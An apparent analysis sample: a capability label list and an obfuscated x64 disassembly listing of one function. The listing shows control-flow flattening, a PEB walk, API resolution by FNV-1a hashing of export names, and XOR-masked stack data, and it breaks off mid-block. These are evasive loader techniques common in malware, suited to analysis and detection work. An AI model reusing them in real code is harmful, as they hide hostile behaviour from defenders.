Function at 0x1400730aa
Capabilities:
Access peb ldr_data
Authenticate hmac
Check for software breakpoints
Check http status code
Encrypt data using chaskey
Encrypt data using speck
Get number of processors
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xacee7b82
pushf
not eax
add eax, 0x552a4d55
xor eax, 0x1ba10fd3
rol eax, 4
popf
pushf
not eax
add eax, 0x7c34b59e
xor eax, 0x18bd0b8
rol eax, 0x44
popf
pushf
not eax
add eax, 0x3b8de059
xor eax, 0xabd8cb4
rol eax, 0x78
popf
cmp eax, 0xf5
jne 0x1400730fa
popf
pop rax
jmp 0x14007f04a
cmp eax, 0x15c
jne 0x140073109
popf
pop rax
jmp 0x140083697
cmp eax, 0x127
jne 0x140073118
popf
pop rax
jmp 0x1400815be
cmp eax, 0xd
jne 0x140073127
popf
pop rax
jmp 0x140074e93
cmp eax, 0x81
jne 0x140073136
popf
pop rax
jmp 0x14007a1e4
cmp eax, 0x6b
jne 0x140073145
popf
pop rax
jmp 0x14007947b
cmp eax, 0x45
jne 0x140073154
popf
pop rax
jmp 0x1400779e2
cmp eax, 0x40
jne 0x140073163
popf
pop rax
jmp 0x1400772de
cmp eax, 0x72
jne 0x140073172
popf
pop rax
jmp 0x140079829
cmp eax, 0x71
jne 0x140073181
popf
pop rax
jmp 0x1400797f5
cmp eax, 0x170
jne 0x140073190
popf
pop rax
jmp 0x140084391
cmp eax, 0xc7
jne 0x14007319f
popf
pop rax
jmp 0x14007d32e
cmp eax, 0xb2
jne 0x1400731ae
popf
pop rax
jmp 0x14007c342
cmp eax, 0x101
jne 0x1400731bd
popf
pop rax
jmp 0x14007fc10
cmp eax, 0x10
jne 0x1400731cc
popf
pop rax
jmp 0x140075062
cmp eax, 0x121
jne 0x1400731db
popf
pop rax
jmp 0x140081164
cmp eax, 0x7a
jne 0x1400731ea
popf
pop rax
jmp 0x140079d6e
cmp eax, 0x14a
jne 0x1400731f9
popf
pop rax
jmp 0x140082aca
cmp eax, 0x7e
jne 0x140073208
popf
pop rax
jmp 0x14007a015
cmp eax, 0x5f
jne 0x140073217
popf
pop rax
jmp 0x140078ca3
cmp eax, 0x26
jne 0x140073226
popf
pop rax
jmp 0x140075f7d
cmp eax, 0xaf
jne 0x140073235
popf
pop rax
jmp 0x14007be3e
cmp eax, 0xc9
jne 0x140073244
popf
pop rax
jmp 0x14007d418
cmp eax, 0x175
jne 0x140073253
popf
pop rax
jmp 0x140084649
cmp eax, 0x6d
jne 0x140073262
popf
pop rax
jmp 0x14007956e
cmp eax, 0x5d
jne 0x140073271
popf
pop rax
jmp 0x1400787a8
cmp eax, 0x78
jne 0x140073280
popf
pop rax
jmp 0x140079c14
cmp eax, 0xed
jne 0x14007328f
popf
pop rax
jmp 0x14007e8b6
cmp eax, 0x100
jne 0x14007329e
popf
pop rax
jmp 0x14007fb3b
cmp eax, 0x87
jne 0x1400732ad
popf
pop rax
jmp 0x14007a68c
cmp eax, 0x42
jne 0x1400732bc
popf
pop rax
jmp 0x140077481
cmp eax, 0x136
jne 0x1400732cb
popf
pop rax
jmp 0x14008203c
cmp eax, 0x62
jne 0x1400732da
popf
pop rax
jmp 0x140078e03
cmp eax, 0xb
jne 0x1400732e9
popf
pop rax
jmp 0x140074de5
cmp eax, 0x166
jne 0x1400732f8
popf
pop rax
jmp 0x140083c74
cmp eax, 0x122
jne 0x140073307
popf
pop rax
jmp 0x140081291
cmp eax, 0x174
jne 0x140073316
popf
pop rax
jmp 0x1400845c7
cmp eax, 0xe3
jne 0x140073325
popf
pop rax
jmp 0x14007e356
cmp eax, 0x93
jne 0x140073334
popf
pop rax
jmp 0x14007ae86
cmp eax, 0x11b
jne 0x140073343
popf
pop rax
jmp 0x140080bf1
cmp eax, 0x11e
jne 0x140073352
popf
pop rax
jmp 0x140080fb8
cmp eax, 0x168
jne 0x140073361
popf
pop rax
jmp 0x140083d6d
cmp eax, 0xe1
jne 0x140073370
popf
pop rax
jmp 0x14007e22a
cmp eax, 0xf8
jne 0x14007337f
popf
pop rax
jmp 0x14007f204
cmp eax, 0x11
jne 0x14007338e
popf
pop rax
jmp 0x1400750e4
cmp eax, 0xd0
jne 0x14007339d
popf
pop rax
jmp 0x14007d7b5
cmp eax, 0x2f
jne 0x1400733ac
popf
pop rax
jmp 0x1400764d8
cmp eax, 0x61
jne 0x1400733bb
popf
pop rax
jmp 0x140078dc1
cmp eax, 0xc4
jne 0x1400733ca
popf
pop rax
jmp 0x14007d150
cmp eax, 0x167
jne 0x1400733d9
popf
pop rax
jmp 0x140083d0b
cmp eax, 0x91
jne 0x1400733e8
popf
pop rax
jmp 0x14007ac7d
cmp eax, 0xc6
jne 0x1400733f7
popf
pop rax
jmp 0x14007d23a
cmp eax, 0x4e
jne 0x140073406
popf
pop rax
jmp 0x140077fae
cmp eax, 0x178
jne 0x140073415
popf
pop rax
jmp 0x1400847ad
cmp eax, 0x4a
jne 0x140073424
popf
pop rax
jmp 0x140077d01
cmp eax, 0x16a
jne 0x140073433
popf
pop rax
jmp 0x140084038
cmp eax, 0x119
jne 0x140073442
popf
pop rax
jmp 0x140080ae2
cmp eax, 0x151
jne 0x140073451
popf
pop rax
jmp 0x140082f8c
cmp eax, 0x125
jne 0x140073460
popf
pop rax
jmp 0x140081473
cmp eax, 0x147
jne 0x14007346f
popf
pop rax
jmp 0x140082921
cmp eax, 0xc1
jne 0x14007347e
popf
pop rax
jmp 0x14007ce78
cmp eax, 0x146
jne 0x14007348d
popf
pop rax
jmp 0x140082846
cmp eax, 0x180
jne 0x14007349c
popf
pop rax
jmp 0x140084d1b
cmp eax, 0x144
jne 0x1400734ab
popf
pop rax
jmp 0x140082723
cmp eax, 0x12a
jne 0x1400734ba
popf
pop rax
jmp 0x140081785
cmp eax, 0xc
jne 0x1400734c9
popf
pop rax
jmp 0x140074e55
cmp eax, 0x159
jne 0x1400734d8
popf
pop rax
jmp 0x1400834a4
cmp eax, 0x9e
jne 0x1400734e7
popf
pop rax
jmp 0x14007b461
cmp eax, 0x3a
jne 0x1400734f6
popf
pop rax
jmp 0x140076ee4
cmp eax, 0x55
jne 0x140073505
popf
pop rax
jmp 0x140078351
cmp eax, 0x39
jne 0x140073514
popf
pop rax
jmp 0x140076e8f
cmp eax, 0x173
jne 0x140073523
popf
pop rax
jmp 0x14008452b
cmp eax, 0x17a
jne 0x140073532
popf
pop rax
jmp 0x140084935
cmp eax, 0x15b
jne 0x140073541
popf
pop rax
jmp 0x1400835c3
cmp eax, 0xac
jne 0x140073550
popf
pop rax
jmp 0x14007bc6d
cmp eax, 7
jne 0x14007355f
popf
pop rax
jmp 0x140074bd0
cmp eax, 0x132
jne 0x14007356e
popf
pop rax
jmp 0x140081dfa
cmp eax, 0x149
jne 0x14007357d
popf
pop rax
jmp 0x140082a31
cmp eax, 0x15
jne 0x14007358c
popf
pop rax
jmp 0x140075376
cmp eax, 0x6f
jne 0x14007359b
popf
pop rax
jmp 0x1400796c5
cmp eax, 0x35
jne 0x1400735aa
popf
pop rax
jmp 0x1400768bd
cmp eax, 0x13a
jne 0x1400735b9
popf
pop rax
jmp 0x140082257
cmp eax, 0x50
jne 0x1400735c8
popf
pop rax
jmp 0x140078094
cmp eax, 0x105
jne 0x1400735d7
popf
pop rax
jmp 0x14007fe22
cmp eax, 0x5b
jne 0x1400735e6
popf
pop rax
jmp 0x1400786d4
cmp eax, 0xf9
jne 0x1400735f5
popf
pop rax
jmp 0x14007f2a8
cmp eax, 0x9f
jne 0x140073604
popf
pop rax
jmp 0x14007b4f7
cmp eax, 0x63
jne 0x140073613
popf
pop rax
jmp 0x140078ef1
cmp eax, 0xd8
jne 0x140073622
popf
pop rax
jmp 0x14007dcb4
cmp eax, 0x74
jne 0x140073631
popf
pop rax
jmp 0x14007999e
cmp eax, 0xfa
jne 0x140073640
popf
pop rax
jmp 0x14007f33c
cmp eax, 0x12b
jne 0x14007364f
popf
pop rax
jmp 0x140081972
cmp eax, 0x9b
jne 0x14007365e
popf
pop rax
jmp 0x14007b2d8
cmp eax, 0x96
jne 0x14007366d
popf
pop rax
jmp 0x14007b05a
cmp eax, 0x3c
jne 0x14007367c
popf
pop rax
jmp 0x140077058
cmp eax, 0x142
jne 0x14007368b
popf
pop rax
jmp 0x14008260e
cmp eax, 0x11a
jne 0x14007369a
popf
pop rax
jmp 0x140080b53
cmp eax, 0xcf
jne 0x1400736a9
popf
pop rax
jmp 0x14007d724
cmp eax, 0x16c
jne 0x1400736b8
popf
pop rax
jmp 0x140084151
cmp eax, 0x95
jne 0x1400736c7
popf
pop rax
jmp 0x14007afee
cmp eax, 0x3d
jne 0x1400736d6
popf
pop rax
jmp 0x140077121
cmp eax, 0xd9
jne 0x1400736e5
popf
pop rax
jmp 0x14007dde1
cmp eax, 0xe9
jne 0x1400736f4
popf
pop rax
jmp 0x14007e6be
cmp eax, 0x10c
jne 0x140073703
popf
pop rax
jmp 0x14008029a
cmp eax, 0x15d
jne 0x140073712
popf
pop rax
jmp 0x140083712
cmp eax, 0x143
jne 0x140073721
popf
pop rax
jmp 0x140082674
cmp eax, 0xfc
jne 0x140073730
popf
pop rax
jmp 0x14007f547
cmp eax, 0x28
jne 0x14007373f
popf
pop rax
jmp 0x1400760e8
cmp eax, 0x3f
jne 0x14007374e
popf
pop rax
jmp 0x14007724a
cmp eax, 0x171
jne 0x14007375d
popf
pop rax
jmp 0x14008442e
cmp eax, 0x115
jne 0x14007376c
popf
pop rax
jmp 0x14008085b
cmp eax, 0x102
jne 0x14007377b
popf
pop rax
jmp 0x14007fc76
cmp eax, 0x83
jne 0x14007378a
popf
pop rax
jmp 0x14007a2f6
cmp eax, 0x48
jne 0x140073799
popf
pop rax
jmp 0x140077b68
cmp eax, 0x47
jne 0x1400737a8
popf
pop rax
jmp 0x140077b13
cmp eax, 0xa1
jne 0x1400737b7
popf
pop rax
jmp 0x14007b5ea
cmp eax, 0x7f
jne 0x1400737c6
popf
pop rax
jmp 0x14007a06f
cmp eax, 0xf1
jne 0x1400737d5
popf
pop rax
jmp 0x14007ee28
cmp eax, 0x152
jne 0x1400737e4
popf
pop rax
jmp 0x140083047
cmp eax, 0xb6
jne 0x1400737f3
popf
pop rax
jmp 0x14007c70e
cmp eax, 0x138
jne 0x140073802
popf
pop rax
jmp 0x140082151
cmp eax, 0x107
jne 0x140073811
popf
pop rax
jmp 0x14007ff6a
cmp eax, 0x131
jne 0x140073820
popf
pop rax
jmp 0x140081d0c
cmp eax, 5
jne 0x14007382f
popf
pop rax
jmp 0x140074a6f
cmp eax, 0x29
jne 0x14007383e
popf
pop rax
jmp 0x140076189
cmp eax, 0x11f
jne 0x14007384d
popf
pop rax
jmp 0x14008107a
cmp eax, 0xa6
jne 0x14007385c
popf
pop rax
jmp 0x14007b8b6
cmp eax, 0x124
jne 0x14007386b
popf
pop rax
jmp 0x1400813da
cmp eax, 0x12c
jne 0x14007387a
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rsi]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0xda59dca5
pushf
not r9d
add r9d, 0x64981f00
xor r9d, 0x324cca76
rol r9d, 0x5f
popf
pushf
not r9d
add r9d, 0x75233ccf
xor r9d, 0x5b49662e
rol r9d, 0xab
popf
pushf
not r9d
add r9d, 0x2e4a43c2
xor r9d, 0x425cba84
rol r9d, 0xa8
popf
pushf
not r9d
add r9d, 0x6fff7dfd
xor r9d, 0x2dc6c2af
rol r9d, 0xf4
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140074b56
push rax
pushf
mov eax, 0xf0c7c035
pushf
not eax
add eax, 0x696d64c9
xor eax, 0x778bc632
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x2339c0e9
xor eax, 0x2751cd2d
rol eax, 0x79
popf
pushf
not eax
add eax, 0x53bb8eaf
xor eax, 0x2408c9a6
rol eax, 0x19
popf
pushf
not eax
add eax, 0x674d367e
xor eax, 0x36532552
rol eax, 0x9f
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x8b23ef9
pushf
not eax
add eax, 0x418c8ab4
xor eax, 0x998a382
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x676ea524
xor eax, 0x5b1ccb15
rol eax, 0xf3
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140074c53
push rax
pushf
mov eax, 0x9d43886c
pushf
not eax
add eax, 0x17328cf4
xor eax, 0x4a590e41
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x106e436e
xor eax, 0x4407e9d5
rol eax, 0xad
popf
pushf
not eax
add eax, 0x4c82ceae
xor eax, 0x6a52a080
rol eax, 0xeb
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x58fc267f
pushf
not eax
add eax, 0x56c861b4
xor eax, 0x603b0f90
rol eax, 0xa
popf
pushf
not eax
add eax, 0x54a89bc4
xor eax, 0x77d60acc
rol eax, 0x39
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], r15
jne 0x140074e22
push rax
pushf
mov eax, 0xa2e70294
pushf
not eax
add eax, 0x360cebcb
xor eax, 0x333a4702
rol eax, 0x44
popf
pushf
not eax
add eax, 0x798a4796
xor eax, 0x778c644b
rol eax, 0x72
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x5b631290
pushf
not eax
add eax, 0xac761f2
xor eax, 0x64713a4e
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x1df66d4b
xor eax, 0x2b390fff
rol eax, 0x6e
popf
jmp 0x1400730eb
mov rax, r15
mov qword [0x140044158], rax
push rax
pushf
mov eax, 0x738230a0
pushf
not eax
add eax, 0x33b2bf53
xor eax, 0x61a404a3
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x4cd03f6f
xor eax, 0x3a8eaae4
rol eax, 0x8b
popf
jmp 0x1400730eb
call rax
mov rcx, rax
call 0x1400643ab
mov rax, qword [0x140044068]
test rax, rax
jne 0x140074ef3
push rax
pushf
mov eax, 0x834a2d2b
pushf
not eax
add eax, 0x7eed3b61
xor eax, 0x116731bf
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x33425f6e
xor eax, 0x3c5a702d
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x50c2cff5
xor eax, 0x6cc70777
rol eax, 0xae
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x8977cd90
pushf
not eax
add eax, 0x59387f3f
xor eax, 0x3640aeb1
rol eax, 0x31
popf
pushf
not eax
add eax, 0x663c11c7
xor eax, 0x27fc1d86
rol eax, 0x1b
popf
jmp 0x1400730eb
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x1400750b1
push rax
pushf
mov eax, 0x844a8016
pushf
not eax
add eax, 0x61246918
xor eax, 0x2ac3bd46
rol eax, 0x76
popf
pushf
not eax
add eax, 0x1079a7aa
xor eax, 0x6da05de9
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x5f66ef1
xor eax, 0x4f77a502
rol eax, 0x85
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x19bfbdef
pushf
not eax
add eax, 0x25f4ebf2
xor eax, 0x2775c4b8
rol eax, 0xac
popf
pushf
not eax
add eax, 0x511377d8
xor eax, 0x426c5523
rol eax, 0x31
popf
jmp 0x1400730eb
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x5a0503be
pushf
not eax
add eax, 0x34a1e5ed
xor eax, 0x4ec0af2a
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x4450b38b
xor eax, 0x78ab2b9d
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x19dd091b
xor eax, 0x6f598bbb
rol eax, 0x49
popf
jmp 0x1400730eb
cmp r9d, 0x1538ea7d
je 0x1400753b6
push rax
pushf
mov eax, 0x553ade8f
pushf
not eax
add eax, 0x1b3c8573
xor eax, 0x2cc3109b
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x1966cf43
xor eax, 0x3aede480
rol eax, 0x26
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x971bc030
pushf
not eax
add eax, 0x605b29b8
xor eax, 0x5a98db27
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x61a2f6e2
xor eax, 0x74f3a1f8
rol eax, 0x74
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], r15
jne 0x140075fcd
push rax
pushf
mov eax, 0x1f42cc6c
pushf
not eax
add eax, 0xc79d2c
xor eax, 0x293f6b18
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x16c6799e
xor eax, 0x11570d0d
rol eax, 0x58
popf
pushf
not eax
add eax, 0x309a3764
xor eax, 0x414d181f
rol eax, 0xbe
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xb41b8ee6
pushf
not eax
add eax, 0x47516ab9
xor eax, 0x76b12765
rol eax, 0xee
popf
pushf
not eax
add eax, 0x185f800
xor eax, 0x2a57fe9e
rol eax, 5
popf
jmp 0x1400730eb
call rcx
mov r15d, eax
mov r8, qword [0x140044020]
test r8, r8
jne 0x140076130
push rax
pushf
mov eax, 0x573f9fe7
pushf
not eax
add eax, 0x78a2808d
xor eax, 0x4386d7b7
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x6c136fea
xor eax, 0x35280d05
rol eax, 0x50
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xc5916374
pushf
not eax
add eax, 0x57505cf5
xor eax, 0x4ed45d86
rol eax, 0x10
popf
pushf
not eax
add eax, 0x5b37674c
xor eax, 0x22ed4907
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x1687d1c7
xor eax, 0x5b8a7cf2
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x7cdff076
xor eax, 0x2f6c2103
rol eax, 0x93
popf
jmp 0x1400730eb
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r14, rdi
nop word [rax + rax]
push rax
pushf
mov eax, 0x594f1f3d
pushf
not eax
add eax, 0x20c472c5
xor eax, 0x26a17964
rol eax, 0xef
popf
pushf
not eax
add eax, 0x60da7c8d
xor eax, 0x3958d720
rol eax, 0xae
popf
pushf
not eax
add eax, 0x43896f8c
xor eax, 0x2c42d2ff
rol eax, 0xb0
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140076548
push rax
pushf
mov eax, 0xfe3309f1
pushf
not eax
add eax, 0x14cba3a
xor eax, 0x6655ba07
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x33361e5
xor eax, 0x5e3d0d22
rol eax, 0x43
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xf585d17b
pushf
not eax
add eax, 0x518ec908
xor eax, 0x12d05319
rol eax, 4
popf
pushf
not eax
add eax, 0x13a64c53
xor eax, 0x3da68fb1
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x4c0e1546
xor eax, 0xd6f2b10
rol eax, 0xc
popf
jmp 0x1400730eb
movabs rax, 0x3962ffdddbb3f53c
pushf
not rax
add rax, 0x26ff5ce8
xor rax, 0x6ae00920
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x1ff027ad
xor rax, 0x7eea927
rol rax, 0x25
popf
pushf
not rax
add rax, 0x5c93f8e4
xor rax, 0x3479775a
rol rax, 0xb4
popf
mov qword [rbp - 0x30], rax
movabs rax, 0x2e960e25c4de8dd8
pushf
not rax
add rax, 0x60d4096d
xor rax, 0x705cd1
rol rax, 0xd
popf
pushf
not rax
add rax, 0x39907e0c
xor rax, 0x24060412
rol rax, 0x61
popf
pushf
not rax
add rax, 0x55624c70
xor rax, 0x288cc197
rol rax, 0x34
popf
mov qword [rbp - 0x28], rax
movabs rax, 0x320c1b6fde128bd0
pushf
not rax
add rax, 0x1ccbdaea
xor rax, 0x7fbe02ab
rol rax, 0x59
popf
pushf
not rax
add rax, 0x5b5daf75
xor rax, 0x8e9cab8
rol rax, 0xce
popf
pushf
not rax
add rax, 0x150266a4
xor rax, 0xd8060f8
rol rax, 0x57
popf
pushf
not rax
add rax, 0x780eacda
xor rax, 0x17d71d97
rol rax, 0xa1
popf
mov qword [rbp - 0x20], rax
movabs rax, 0xe87ca8c08e0a3f1c
pushf
not rax
add rax, 0x4f617ae4
xor rax, 0x667b9e77
rol rax, 0x61
popf
pushf
not rax
add rax, 0x59401b0b
xor rax, 0x56f026d7
rol rax, 3
popf
pushf
not rax
add rax, 0x5c97986f
xor rax, 0x1dabea9c
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x492c1d39
xor rax, 0x22d0017
rol rax, 0x27
popf
mov qword [rbp - 0x18], rax
movabs rax, 0xe620a6ad525d4671
pushf
not rax
add rax, 0x444a75a5
xor rax, 0x3b3337a2
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x6e52c93f
xor rax, 0x220fd427
rol rax, 0x85
popf
pushf
not rax
add rax, 0x279b9b2
xor rax, 0x549fbb5e
rol rax, 0x7b
popf
mov qword [rbp - 0x10], rax
movabs rax, 0x76be1401ff81be87
pushf
not rax
add rax, 0x1e15f0eb
xor rax, 0x747a5ed1
rol rax, 0
popf
pushf
not rax
add rax, 0x5df21bfa
xor rax, 0x1495f124
rol rax, 0xbe
popf
pushf
not rax
add rax, 0x3c07c15c
xor rax, 0x40bf8b53
rol rax, 0x71
popf
pushf
not rax
add rax, 0x2a0c0a0f
xor rax, 0x470b5433
rol rax, 0x3f
popf
mov qword [rbp - 8], rax
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rbx
movabs rax, 0x23a5d77d3f0dbe7c
pushf
not rax
add rax, 0x5a8b3ca5
xor rax, 0x894e435
rol rax, 0x32
popf
pushf
not rax
add rax, 0x2df2ed87
xor rax, 0x613db205
rol rax, 0x8e
popf
pushf
not rax
add rax, 0x4fc43db0
xor rax, 0x25d12a11
rol rax, 0x77
popf
pushf
not rax
add rax, 0x4c2c84d8
xor rax, 0x4fe4e1fc
rol rax, 0x1b
popf
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], r13
movabs rax, 0xa0817bfaec3a80c6
pushf
not rax
add rax, 0x441c9697
xor rax, 0x50dc713
rol rax, 0x73
popf
pushf
not rax
add rax, 0x5df3fb49
xor rax, 0x75d6133d
rol rax, 0xce
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0x5bfe72d9637ef114
pushf
not rax
add rax, 0x23b8812e
xor rax, 0x5ff31c4e
rol rax, 0x9a
popf
pushf
not rax
add rax, 0x1b8fedda
xor rax, 0x1714a838
rol rax, 0xb3
popf
pushf
not rax
add rax, 0x15ca79ea
xor rax, 0x8bcc04
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x5d8cc5c7
xor rax, 0x43adee61
rol rax, 0x97
popf
mov qword [rbp + 0xb8], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x10], xmm0
mov edx, r15d
lea rcx, [rbp - 0x30]
call r8
mov rax, qword [0x140044088]
test rax, rax
jne 0x140076ca2
push rax
pushf
mov eax, 0x9f9ef3c8
pushf
not eax
add eax, 0x5d02e4d4
xor eax, 0x1c756590
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x51111755
xor eax, 0x1cee44c7
rol eax, 0xa3
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x5098d2fd
pushf
not eax
add eax, 0x1c90eeda
xor eax, 0x6ea87d1
rol eax, 0x83
popf
pushf
not eax
add eax, 0x737284c8
xor eax, 0x688822c4
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x30d0a576
xor eax, 0x5383502c
rol eax, 0x57
popf
pushf
not eax
add eax, 0x32572590
xor eax, 0x58aaa6d2
rol eax, 0xbe
popf
jmp 0x1400730eb
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xc619cb56
pushf
not eax
add eax, 0x411ef12
xor eax, 0x6f776c9f
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x24254de
xor eax, 0x21d0d5c0
rol eax, 0x39
popf
pushf
not eax
add eax, 0x28bcf1ad
xor eax, 0x1570bda9
rol eax, 0xff
popf
jmp 0x1400730eb
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rsi]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0x33fa8485
pushf
not r9d
add r9d, 0x2cd2183b
xor r9d, 0x5353af66
rol r9d, 0x10
popf
pushf
not r9d
add r9d, 0x352a8aea
xor r9d, 0x460748b5
rol r9d, 0x81
popf
pushf
not r9d
add r9d, 0x1782555d
xor r9d, 0x695ca3a0
rol r9d, 0x86
popf
pushf
not r9d
add r9d, 0x7f4e4679
xor r9d, 0x40cad0bb
rol r9d, 0x12
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140076fa5
push rax
pushf
mov eax, 0x4d4c9b72
pushf
not eax
add eax, 0x57e6fb43
xor eax, 0x771167fb
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x1d603806
xor eax, 0x3dfd85fb
rol eax, 0x36
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x58625927
pushf
not eax
add eax, 0x2e10e3de
xor eax, 0x113fa619
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x5adcf290
xor eax, 0x47d03ac4
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x1e1a6cb4
xor eax, 0x640c73df
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x7ed77092
xor eax, 0x8bb63d3
rol eax, 0x2f
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x1400770ee
push rax
pushf
mov eax, 0xfb55a271
pushf
not eax
add eax, 0x2dcb1734
xor eax, 0x19b22445
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x3d4888a3
xor eax, 0x545da735
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x29570058
xor eax, 0xd18e51
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x4f2215c1
xor eax, 0xf120967
rol eax, 0x13
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xf607d9a2
pushf
not eax
add eax, 0x5c01dad3
xor eax, 0x45c9c0ac
rol eax, 0x16
popf
pushf
not eax
add eax, 0x7b7b13d8
xor eax, 0x14730527
rol eax, 0xfc
popf
jmp 0x1400730eb
cmp r9d, 0x359606bc
je 0x140077161
push rax
pushf
mov eax, 0xfc2a961f
pushf
not eax
add eax, 0x3ac4bd9a
xor eax, 0x65aa4e3c
rol eax, 0x66
popf
pushf
not eax
add eax, 0xd2ac59
xor eax, 0x34b85add
rol eax, 0x81
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xb8094532
pushf
not eax
add eax, 0x3cc37f
xor eax, 0x6a8709a1
rol eax, 0x36
popf
pushf
not eax
add eax, 0x3459eb27
xor eax, 0x39113f3d
rol eax, 0x1f
popf
jmp 0x1400730eb
mov rdi, qword [rdi]
cmp rdi, r14
je 0x1400772ab
push rax
pushf
mov eax, 0x1f464976
pushf
not eax
add eax, 0x24e3022f
xor eax, 0x12e0bf9
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x5d4aafb6
xor eax, 0x32b2725c
rol eax, 0x82
popf
pushf
not eax
add eax, 0x3b543224
xor eax, 0x305b692e
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x3e547453
xor eax, 0x56476b83
rol eax, 0xe6
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x281edb46
pushf
not eax
add eax, 0x79466888
xor eax, 0x5cf002ed
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x40ae5951
xor eax, 0x39287565
rol eax, 0xec
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], 0
jne 0x14007731c
push rax
pushf
mov eax, 0x113b9334
pushf
not eax
add eax, 0x783ad4c1
xor eax, 0x13eeb6d9
rol eax, 0x57
popf
pushf
not eax
add eax, 0x27c5c294
xor eax, 0x3d0b3988
rol eax, 0x22
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x7c0706c5
pushf
not eax
add eax, 0x6d24ab9e
xor eax, 0x3acd7b3
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x6fe92e62
xor eax, 0x34818c60
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x61103d4f
xor eax, 0x6e06c692
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x36473fcc
xor eax, 0x65842272
